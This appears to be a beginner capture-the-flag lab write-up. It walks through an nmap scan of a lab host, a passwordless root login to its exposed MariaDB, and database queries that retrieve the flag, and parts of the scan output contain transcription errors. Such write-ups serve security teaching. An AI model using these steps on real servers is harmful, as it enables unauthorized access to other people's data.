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In this box, we will be navigating the database to retrieve the flag.

Enumeration

Using nmap we will scan the target for open ports and services.

```
sudo nmap -sC -sV {target_ip
```

```
Nmap scan report for 10.129.18.237
Host is up (0.0808 latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
3306/tcp open mysql?
| mysql.info:
| Protocol: 10
| Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
| Thread ID: 94
| Capabilities flags: 63486
| Some Capabilities: LongfolumnFlag, IgnoreSpaceBeforeParenthesis, SupportsCompression, Speaks41ProtocolNew, SupportsTransactions, FoundRows, InteractiveClient, ODBCClient, Speaks41ProtocolNew, SupportsTransactions, FoundRows, InteractiveClient, ODBCClient, Speaks41ProtocolNew, SupportsJupies, Support4Auth, DontAllowAdatabaseFableColumn, ConnectWithDatabase, SupportsLoadDatalocal, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: 2nT:elqo)bSyD+F'2sr'
| Auth Plugin Name: mysql native password

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
```

We can see that port 3306 is open running mysql.

Foothold

We need to install mysql and mariadb in our local machine in order to communicate with the data base.

To do so:

```
sudo apt update && sudo apt install mysql*
```

To connect to the data base we will use:

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```
mysql -h {target ip} -u root
h : Connect to host.
-u : User for log-in if not
```

```
[-]$ mysql -h 10.129.18.237 -u root
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 103
Server version: 10.3.27-MariaDB-04deb10u1 Debian 10
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]> ■
```

The commands we will be using are below.

```
SHOW databases; : Prints out the databases we can access.

USE {database_name}; : Set to use the database named {database}

SHOW tables; : Prints out the available tables inside the cur database.

SELECT * FROM {table_name}; : Prints out all the data from the
```

Using the SHOW command to show us the database.

We will now 'select' the htb database. By 'selecting' we are selecting it to be actively interacted with. To select a database use the "USE" command.

```
MariaDB [(none)]> USE htb;

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [htb]>
```

To check tables we will use:

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```
SHOW tables;
```

To check tables we will use:

```
SELECT * FROM {table_name}
```

```
SELECT * FROM config
```

We can see the data stored in Flag.

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